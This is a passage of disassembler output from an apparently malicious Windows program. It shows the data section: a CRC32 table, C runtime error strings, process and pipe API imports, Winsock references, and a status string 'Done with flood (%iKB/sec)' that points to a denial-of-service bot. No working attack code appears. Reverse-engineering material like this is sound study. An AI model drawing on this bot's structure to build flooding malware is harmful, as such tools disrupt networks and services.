		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dbl_421660	dq 9.765625e-4		; DATA XREF: sub_40BBF7+2B8r
					; sub_40BBF7+2CDr ...
dbl_421668	dq -3.0517578125e-5	; DATA XREF: sub_413F12+1Er
dbl_421670	dq 1.0			; DATA XREF: sub_415D04+6Cr
					; sub_415E4B+6Cr ...
dword_421678	dd 0FFFFFFFFh, 417BEFh,	417C03h	; DATA XREF: seg001:00417B1Do
byte_421684	db 6			; DATA XREF: sub_417D6C:loc_417DC3r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: seg001:off_437F1Co
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: seg001:off_437F18o
		align 4
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_418AD0+8Eo
		align 10h
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_418AD0+4Fo
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: seg001:off_43A16Co
		align 10h
dbl_4217E0	dq 0.0			; DATA XREF: sub_41A227+8Cr
					; sub_41A227+ACr ...
dbl_4217E8	dq 4.195835e6		; DATA XREF: sub_41A73C+Fr
dbl_4217F0	dq 3.145727e6		; DATA XREF: sub_41A73C+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41A77A+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_41A77Ao
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_41A8A1+93o
		align 4
dword_421828	dd 0FFFFFFFFh, 41AF8Ch,	41AF96h, 0 ; DATA XREF:	sub_41AF25+5o
dword_421838	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41B054+5o
		dd offset loc_41B112
		align 8
		dd offset sub_41B0F0
		dd offset sub_41B0FA
dword_421850	dd 0FFFFFFFFh, 41B342h,	41B346h, 0 ; DATA XREF:	sub_41B18A+5o
dword_421860	dd 0FFFFFFFFh, 41B3A4h,	41B3ADh, 0 ; DATA XREF:	sub_41B34E+5o
dword_421870	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41B42C+5o
		dd offset loc_41B47D
		align 10h
		dd offset loc_41B469
		dd offset loc_41B46D
dword_421888	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41B482+5o
		dd offset loc_41B4D3
		align 8
		dd offset loc_41B4BF
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0B4h, 41h, 0
dword_4218A0	dd 2 dup(0)		; DATA XREF: sub_41C639+36o
					; sub_41DA93+39o ...
dword_4218A8	dd 0FFFFFFFFh, 41C749h,	41C74Dh, 0FFFFFFFFh, 41C7FDh, 41C801h
					; DATA XREF: sub_41C639+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: seg001:off_43A5ACo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41D7B5+119o
		align 10h
asc_421B70	db 0Ah			; DATA XREF: sub_41D7B5+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41D7B5+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_41D7B5+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41D7B5+7Do
		align 10h
dword_421BB0	dd 0FFFFFFFFh, 41DB8Ch,	41DB90h	; DATA XREF: sub_41DA93+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_41EA02+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_41EF8E+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_41EF8E+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_41EF8E+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_41F8D8:loc_41F9CDo
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_41F8D8+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_41F8D8+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_41F8D8+ADo
		align 10h
dword_421C50	dd 0FFFFFFFFh, 4202D0h,	4202D4h, 0FFFFFFFFh, 42033Fh, 420343h
					; DATA XREF: sub_420119+5o
		dd 421D78h
off_421C6C	dd offset loc_4208A8	; DATA XREF: sub_4206B0+4Do
					; sub_4208C4+Co
		dd offset sub_42076E
		dd offset sub_42088B
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_4206B0+1Eo
		dd offset dword_421DB0
off_421C8C	dd offset loc_4207D5	; DATA XREF: sub_42070A+4Eo
					; sub_420798+11o ...
		dd offset sub_42076E
		dd offset sub_42077B
dword_421C98	dd 0FFFFFFFFh		; DATA XREF: sub_42070A+3Br
					; sub_4207F1+34r
		dd offset dword_421E00
off_421CA0	dd offset loc_420990	; DATA XREF: sub_4208DC+4Do
					; sub_4209AC+Co
		dd offset sub_42076E
		dd offset sub_420973
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_4208DC+1Eo
		dd offset dword_421E30
off_421CC8	dd offset sub_420A12	; DATA XREF: sub_420A2E+8o
					; sub_420A6B+8o ...
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0Ah,	42h, 0
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: seg001:00420AD2o
		align 4
		dd offset dword_421E78
off_421CE8	dd offset loc_420AED	; DATA XREF: sub_420AD8o
					; seg001:off_43ACD0o ...
		align 10h
dword_421CF0	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_420B09+Eo
		dd 3, 19930520h, 2 dup(0)
off_421D10	dd offset off_43ACD0	; DATA XREF: seg001:00421D60o
					; seg001:00421D94o ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_421D28	dd offset off_43ACE8	; DATA XREF: seg001:00421D5Co
					; seg001:00421D90o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_421D40	dd offset off_43AD08	; DATA XREF: seg001:00421D58o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_421D40
		dd offset off_421D28
		dd offset off_421D10
		dd 0
		db    0			; DATA XREF: seg001:00421D88o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 421D58h, 3 dup(0)
		dd offset off_43AD08
		dd offset unk_421D68
		align 10h
		dd offset off_421D28
		dd offset off_421D10
dword_421D98	dd 4 dup(0)		; DATA XREF: seg001:00421DC0o
		dd 2, 421D90h
dword_421DB0	dd 3 dup(0)		; DATA XREF: seg001:00421C88o
		dd offset off_43ACE8
		dd offset dword_421D98+8
		align 8
off_421DC8	dd offset off_43AD28	; DATA XREF: seg001:00421DE0o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_421DC8
		dd offset off_421D28
		dd offset off_421D10
dword_421DEC	dd 3 dup(0)		; DATA XREF: seg001:00421E10o
		dd 3, 421DE0h
dword_421E00	dd 3 dup(0)		; DATA XREF: seg001:00421C9Co
		dd offset off_43AD28
		dd offset dword_421DEC+4
		dd offset off_421D10
dword_421E18	dd 4 dup(0)		; DATA XREF: seg001:00421E40o
		dd 1, 421E14h
dword_421E30	dd 3 dup(0)		; DATA XREF: seg001:00421CC4o
		dd offset off_43ACD0
		dd offset dword_421E18+8
		align 8
off_421E48	dd offset off_43AD48	; DATA XREF: seg001:00421E60o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_421E48
		dd 0
		db    0			; DATA XREF: seg001:00421E88o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 421E60h
dword_421E78	dd 3 dup(0)		; DATA XREF: seg001:00421CE4o
		dd offset off_43AD48
		dd offset unk_421E68
		align 10h
		dd 0FFFFFFFFh, 420B4Ch,	0
		dd offset sub_420B44
dword_421EA0	dd 19930520h, 2, 421E90h, 4 dup(0) ; DATA XREF:	seg001:loc_420B63o
		dd 0FFFFFFFFh, 420B70h,	0
		dd offset loc_420B78
dword_421ECC	dd 19930520h, 2, 421EBCh, 4 dup(0) ; DATA XREF:	seg001:loc_420B80o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 4 dup(0)
		dd offset loc_404DF7
		align 10h
		dd 2 dup(1), 421EF8h
dword_421F1C	dd 19930520h, 2, 421EE8h, 1, 421F08h, 3	dup(0)
					; DATA XREF: seg001:loc_420B8Co
		dd offset off_43ACD0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	420A6Bh, 2 dup(0)
		dd offset off_43ACE8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	4207F1h, 2 dup(0)
		dd offset off_43AD08
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	4208C4h, 0
dword_421F98	dd 3, 421F78h, 421F58h,	421F38h	; DATA XREF: seg001:00421FB4o
dword_421FA8	dd 0			; DATA XREF: sub_4206B0+47o
					; sub_42088B+12o
		dd offset sub_42084E
		dd 0
		dd offset dword_421F98
dword_421FB8	dd 19930520h, 1, 421FD8h, 5 dup(0) ; DATA XREF:	seg001:loc_420BA0o
		dd 0FFFFFFFFh, 420B98h
dword_421FE0	dd 19930520h, 1, 422000h, 5 dup(0) ; DATA XREF:	seg001:loc_420BB4o
dword_422000	dd 0FFFFFFFFh, 420BACh,	2, 421F58h, 421F38h, 0 ; DATA XREF: seg001:00422024o
dword_422018	dd 0			; DATA XREF: sub_42077B+12o
		dd offset sub_420798
		dd 0
		dd offset dword_422000+8
dword_422028	dd 19930520h, 1, 422048h, 5 dup(0) ; DATA XREF:	seg001:loc_420BC8o
		dd 0FFFFFFFFh, 420BC0h
dword_422050	dd 19930520h, 1, 422070h, 5 dup(0) ; DATA XREF:	seg001:loc_420BDCo
		dd 0FFFFFFFFh, 420BD4h
dword_422078	dd 19930520h, 1, 422098h, 5 dup(0) ; DATA XREF:	seg001:loc_420BF0o
		dd 0FFFFFFFFh, 420BE8h,	0
		dd offset off_43AD28
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	4209ACh, 0
dword_4220C0	dd 3, 4220A0h, 421F58h,	421F38h	; DATA XREF: seg001:004220DCo
dword_4220D0	dd 0			; DATA XREF: sub_4208DC+47o
					; sub_420973+12o
		dd offset sub_420936
		dd 0
		dd offset dword_4220C0
dword_4220E0	dd 19930520h, 1, 422100h, 5 dup(0) ; DATA XREF:	seg001:loc_420C04o
		dd 0FFFFFFFFh, 420BFCh
dword_422108	dd 19930520h, 1, 422128h, 5 dup(0) ; DATA XREF:	seg001:loc_420C18o
		dd 0FFFFFFFFh, 420C10h,	2231Ch,	2 dup(0)
		dd 22368h, 211B0h, 2216Ch, 2 dup(0)
		dd 22B0Eh, 21000h, 5 dup(0)
		dd 226D8h, 22AF4h, 22AE2h, 22AD0h, 22AC0h, 22AB0h, 22AA0h
		dd 22A82h, 22A6Eh, 22A5Eh, 22A4Ch, 22A3Ah, 22A2Ch, 22A1Ch
		dd 22A0Ah, 229F0h, 229D8h, 229BEh, 22374h, 22382h, 22392h
		dd 223ACh, 223C8h, 223DEh, 223EEh, 223F6h, 2240Ch, 22418h
		dd 22426h, 22432h, 22446h, 22454h, 2246Ah, 2247Ch, 2248Eh
		dd 2249Eh, 224AEh, 224BCh, 224D2h, 224DEh, 224F6h, 22510h
		dd 22520h, 22532h, 22544h, 2255Ch, 22574h, 2259Ch, 225B4h
		dd 225C4h, 225D6h, 225EAh, 225FCh, 2260Ch, 2261Ah, 2262Ch
		dd 2263Ch, 22652h, 22660h, 2266Eh, 22680h, 2269Ch, 226B2h
		dd 226C2h, 226E8h, 226FAh, 2270Eh, 2271Ch, 2272Ch, 22742h
		dd 22750h, 2275Eh, 2276Ch, 22782h, 2278Eh, 227A4h, 227B4h
		dd 227C6h, 227D2h, 227E8h, 227FCh, 22810h, 22822h, 22836h
		dd 22842h, 2284Eh, 2285Ah, 22874h, 22884h, 22892h, 228A4h
		dd 228B6h, 228C4h, 228DEh, 228ECh, 228FAh, 22908h, 22918h
		dd 22928h, 2293Ah, 22946h, 22956h, 22966h, 22972h, 2297Ch
		dd 22988h, 229A4h, 0
		dd 80000074h, 80000073h, 80000015h, 8000000Ah, 80000002h
		dd 8000000Dh, 80000001h, 80000034h, 80000016h, 80000012h
		dd 80000097h, 8000000Bh, 80000009h, 80000017h, 80000004h
		dd 80000010h, 80000013h, 80000003h, 0
		dd 5F325357h, 642E3233h, 6C6Ch,	784500B0h, 68547469h, 64616572h
		dd 1D50000h, 54746547h,	436B6369h, 746E756Fh, 2990000h
aQueryperform_1	db 'QueryPerformanceCounter',0
		db  9Ah	; š
		db 2, 51h, 75h
aEryperformance	db 'eryPerformanceFrequency',0
		db 0B9h	; ¹
		db 1, 47h, 65h
aTsystemdirecto	db 'tSystemDirectoryA',0
		dw 16Bh
aGetlocaltime	db 'GetLocalTime',0
		align 2
		dw 349h
aSleep		db 'Sleep',0
		dw 26Bh
aMultibytetowid	db 'MultiByteToWideChar',0
		dd 655202ABh, 69466461h, 656Ch,	6C43002Eh, 4865736Fh, 6C646E61h
		dd 3970065h, 74697257h,	6C694665h, 35B0065h
aTransactnamedp	db 'TransactNamedPipe',0
aM		db 'M',0
aCreatefilea	db 'CreateFileA',0
		db  75h	; u
		db 1, 47h, 65h
aTmodulefilenam	db 'tModuleFileNameA',0
		align 2
		dw 1D6h
aGettimeformata	db 'GetTimeFormatA',0
		align 4
		db  3Fh	; ?
		db 1, 47h, 65h
aTdateformata	db 'tDateFormatA',0
		align 2
		dw 169h
aGetlasterror	db 'GetLastError',0
		align 2
aI_0		db 'i',0
aCreatethread	db 'CreateThread',0
		align 2
		dw 15Bh
aGetfilesize	db 'GetFileSize',0
		db  56h	; V
		db 1, 47h, 65h
aTfileattribute	db 'tFileAttributesA',0
		align 2
		db 'Å',0
aFindclose	db 'FindClose',0
		db '¼',0
aFiletimetosyst	db 'FileTimeToSystemTime',0
		align 2
		db '»',0
aFiletimetoloca	db 'FileTimeToLocalFileTime',0
		db 'Ó',0
aFindnextfilea	db 'FindNextFileA',0
		db 'É',0
aFindfirstfilea	db 'FindFirstFileA',0
		align 2
		dw 310h
aSetfilepointer	db 'SetFilePointer',0
		align 4
		db  47h	; G
		db 2, 4Ch, 65h
aAvecriticalsec	db 'aveCriticalSection',0
		align 4
aP		db '',0
aEntercriticals	db 'EnterCriticalSection',0
		align 4
		db  1Ah
		db 2, 49h, 6Eh
aItializecritic	db 'itializeCriticalSectionAndSpinCount',0
aZ		db 'z',0
aDeletecritical	db 'DeleteCriticalSection',0
		db  48h	; H
		db 2, 4Ch, 6Fh
aAdlibrarya	db 'adLibraryA',0
		align 4
		db  98h	; ˜
		db 1, 47h, 65h
aTprocaddress	db 'tProcAddress',0
		align 2
		dw 177h
aGetmodulehandl	db 'GetModuleHandleA',0
		align 2
		db 'ê',0
aFormatmessagea	db 'FormatMessageA',0
		align 4
		db    0
		db 2, 47h, 6Ch
aObalunlock	db 'obalUnlock',0
		align 4
		db 0F9h	; ù
		db 1, 47h, 6Ch
aOballock	db 'obalLock',0
		align 2
		dw 365h
aUnmapviewoffil	db 'UnmapViewOfFile',0
		db  5Eh	; ^
		db 2, 4Dh, 61h
aPviewoffile	db 'pViewOfFile',0
aN		db 'N',0
aCreatefilemapp	db 'CreateFileMappingA',0
		align 2
		dw 314h
aSetfiletime	db 'SetFileTime',0
		db  5Dh	; ]
		db 1, 47h, 65h
aTfiletime	db 'tFileTime',0
		db '`',0
aCreateprocessa	db 'CreateProcessA',0
		align 10h
		db '²',0
aExpandenvironm	db 'ExpandEnvironmentStringsA',0
		db  0Eh
		db 3, 53h, 65h
aTfileattribu_0	db 'tFileAttributesA',0
		align 2
		retf
; ---------------------------------------------------------------------------
		db 1
aGettemppatha	db 'GetTempPathA',0
		align 2
		dw 152h
aGetexitcodepro	db 'GetExitCodeProcess',0
		align 4
		dd 65500287h, 614E6B65h, 5064656Dh, 657069h, 7544008Ch
		dd 63696C70h, 48657461h, 6C646E61h, 13A0065h
aGetcurrentproc	db 'GetCurrentProcess',0
a__0		db '_',0
aCreatepipe	db 'CreatePipe',0
		align 4
		db 0DFh	; ß
		db 1, 47h, 65h
aTversionexa	db 'tVersionExA',0
		db 0FAh	; ú
		db 1, 47h, 6Ch
aObalmemorystat	db 'obalMemoryStatus',0
		align 2
aP_0		db '¯',0
aExitprocess	db 'ExitProcess',0
		db '|',0
aDeletefilea	db 'DeleteFileA',0
		dw 27Ch
aOpenprocess	db 'OpenProcess',0
		db  3Bh	; ;
		db 1, 47h, 65h
aTcurrentproces	db 'tCurrentProcessId',0
		db '=',0
aCopyfilea	db 'CopyFileA',0
		dw 385h
aWaitforsingleo	db 'WaitForSingleObject',0
aZ_0		db 'Z',0
aCreatemutexa	db 'CreateMutexA',0
		align 4
		dd 65540352h, 6E696D72h, 54657461h, 61657268h, 2640064h
		dd 65766F4Dh, 656C6946h, 3890041h
aWidechartomult	db 'WideCharToMultiByte',0
		dd 6547010Ch, 6D6F4374h, 65747570h, 6D614E72h, 4165h, 65540351h
		dd 6E696D72h, 50657461h, 65636F72h, 7373h, 6547016Ch, 636F4C74h
		dd 49656C61h, 416F666Eh, 1700000h, 4C746547h, 6369676Fh
		dd 72446C61h, 73657669h, 2060000h, 70616548h, 6F6C6C41h
		dd 20C0063h, 70616548h,	65657246h, 2CC0000h, 556C7452h
		dd 6E69776Eh, 1D80064h
aGettimezoneinf	db 'GetTimeZoneInformation',0
		align 4
		db 0BEh	; ¾
		db 1, 47h, 65h
aTsystemtime	db 'tSystemTime',0
		db  10h
		db 2, 48h, 65h
aAprealloc	db 'apReAlloc',0
		dw 1AFh
aGetstartupinfo	db 'GetStartupInfoA',0
		db    8
		db 1, 47h, 65h
aTcommandlinea	db 'tCommandLineA',0
		dw 1DEh
aGetversion	db 'GetVersion',0
		align 4
		db  50h	; P
		db 1, 47h, 65h
aTenvironmentva	db 'tEnvironmentVariableA',0
		dw 20Ah
aHeapdestroy	db 'HeapDestroy',0
		db    8
		db 2, 48h, 65h
aApcreate	db 'apCreate',0
		align 2
		dw 378h
aVirtualfree	db 'VirtualFree',0
		db  75h	; u
		db 3, 56h, 69h
aRtualalloc	db 'rtualAlloc',0
		align 4
		db  2Ch	; ,
		db 2, 49h, 73h
aBadwriteptr	db 'BadWritePtr',0
		db  9Dh	; 
		db 2, 52h, 61h
aIseexception	db 'iseException',0
		align 2
		dw 212h
aHeapsize	db 'HeapSize',0
		align 2
		dw 23Ah
aLcmapstringa	db 'LCMapStringA',0
		align 2
		dw 23Bh
aLcmapstringw	db 'LCMapStringW',0
		align 2
		dw 0FCh
aGetcpinfo	db 'GetCPInfo',0
		dw 0F5h
aGetacp		db 'GetACP',0
		align 4
		db  8Bh	; ‹
		db 1, 47h, 65h
aToemcp		db 'tOEMCP',0
		align 4
		db  62h	; b
		db 3, 55h, 6Eh
aHandledexcepti	db 'handledExceptionFilter',0
		align 4
aA_0		db 'í',0
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
aU		db 'î',0
aFreeenvironm_0	db 'FreeEnvironmentStringsW',0
		db  4Dh	; M
		db 1, 47h, 65h
aTenvironmentst	db 'tEnvironmentStrings',0
		db  4Fh	; O
		db 1, 47h, 65h
aTenvironment_0	db 'tEnvironmentStringsW',0
		align 2
		dw 319h
aSethandlecount	db 'SetHandleCount',0
		align 4
		dd 654701B1h, 64745374h, 646E6148h, 656Ch, 6547015Eh, 6C694674h
		dd 70795465h, 1B20065h,	53746547h, 6E697274h, 70795467h
		dd 4165h, 654701B5h, 72745374h,	54676E69h, 57657079h, 32C0000h
		dd 53746553h, 61486474h, 656C646Eh, 0E50000h, 73756C46h
		dd 6C694668h, 66754265h, 73726566h, 33D0000h
aSetunhandledex	db 'SetUnhandledExceptionFilter',0
		db  29h	; )
		db 2, 49h, 73h
aBadreadptr	db 'BadReadPtr',0
		align 10h
		db  26h	; &
		db 2, 49h, 73h
aBadcodeptr	db 'BadCodePtr',0
		align 10h
		db    5
		db 3, 53h, 65h
aTendoffile	db 'tEndOfFile',0
		align 10h
a4		db '4',0
aComparestringa	db 'CompareStringA',0
		align 2
a5		db '5',0
aComparestringw	db 'CompareStringW',0
		align 4
		db    8
		db 3, 53h, 65h
aTenvironment_1	db 'tEnvironmentVariableA',0
aKernel32_dll	db 'KERNEL32.dll',0
		align 4
		dd 139h	dup(0)
dword_423000	dd 0			; DATA XREF: sub_41781A+1Fo
		dd offset sub_4036B6
		dd offset sub_404EA5
		dd offset sub_4209C4
dword_423010	dd 0			; DATA XREF: sub_41781A+1Ao
dword_423014	dd 0			; DATA XREF: sub_41781A+10o
		dd offset sub_4166E2
		dd offset sub_41CC21
		dd offset sub_41D972
		dd offset sub_41E7E4
dword_423028	dd 0			; DATA XREF: sub_41781A:loc_417825o
dword_42302C	dd 0			; DATA XREF: sub_417869+65o
		dd offset sub_41DA17
dword_423034	dd 0			; DATA XREF: sub_417869:loc_4178C9o
dword_423038	dd 0			; DATA XREF: sub_417869+76o
		dd offset sub_41E7F5
dword_423040	dd 4 dup(0)		; DATA XREF: sub_417869:loc_4178DAo
unk_423050	db    2			; DATA XREF: sub_401000+5Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithFloodI	db '  Done with flood (%iKB/sec).',0
		align 4
unk_42308C	db    2			; DATA XREF: sub_4010B2+31Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
